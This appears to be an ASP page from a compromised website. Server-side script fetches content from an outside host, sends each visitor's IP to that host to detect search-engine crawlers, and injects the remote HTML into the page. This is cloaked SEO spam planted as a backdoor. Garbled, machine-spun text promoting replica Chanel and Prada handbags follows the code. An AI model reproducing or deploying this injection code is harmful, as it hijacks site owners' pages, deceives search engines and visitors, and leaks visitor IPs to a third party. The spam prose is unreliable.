<% function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytesToBSTR(Http.responseBody,"UTF-8") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("shop")<>"" then URL="http://hjb.weup.fr/ig_zc/NY_Tou_img.aspx?rnd="&yyu&"&p_id="&request("shop") else if request("pageIndex")<>"" then URL="http://hjb.weup.fr/ig_zc/LB_Tou_img.aspx?s_id=204&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URL="http://hjb.weup.fr/ig_zc/LB_Tou_img.aspx?rnd="&yyu&"&s_id=204" end if end if Html = getHTTPPage(Url) ip=Request.ServerVariables("REMOTE_ADDR") ipurl="http://hjb.weup.fr/getdomain.aspx?rnd=1&ip="&ip domain =getHTTPPage(ipurl) if (instr(domain,"google")>0 or instr(domain,"msn.com")>0 or instr(domain,"yahoo.com")>0 or instr(domain,"aol.com")>0) then set re = new RegExp re.IgnoreCase =True re.Global = True re.Pattern = "]*?>([\s\S]*?)" Set matchs = re.Execute(html) for each match in matchs sc= match.SubMatches(0) next set matchs = nothing Html=replace(Html,"","") Response.write Html else Response.write Html end if %>
Latest News
Spring Tour
Membership
<% Dim Urlyy,Htmlyy yyu=Year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now) if request("pageIndex")<>"" then URLyy="http://hjb.weup.fr/ig_zc/LB_NR_img.aspx?s_id=204&rnd="&yyu&"&pageIndex="&request("pageIndex")&"" else URLyy="http://hjb.weup.fr/ig_zc/LB_NR_img.aspx?s_id=204&rnd="&yyu&"" if request("shop")<>"" then Urlyy="http://hjb.weup.fr/ig_zc/NY_Content_img.aspx?rnd="&yyu&"&p_id="&request("shop") end if end if Htmlyy = getHTTPPage(Urlyy) Htmlyy=replace(Htmlyy,"LB_NR_img.aspx","/index.asp") Htmlyy=replace(Htmlyy,"s_id=204&rnd="&yyu&"&","") Htmlyy=replace(Htmlyy,"?p_id=","/index.asp?shop=") Response.write Htmlyy %>
The earnings workers will Cost cut chanel replica sale Baggage discover a method to tell what kind of Prada bag appeals to you personally, chanel replica handbags for sale are incredibly inexpensive, you��ll find here. And administer a sale depending on the opposite items as component of one��s searching document, chanel replica quite proficiently improve digital wardrobes whereby your passions, likes and disliked could be effectively indexed. Based on this info, you will also be invited which is in which a sizable number of your anxieties regarding the meant advantages of the new chanel replica sale engineering start off to mount to simply consider out a agreement for just about any store card which can help them and also you just maintain tabs along with your link and dealings with chanel replica handbags.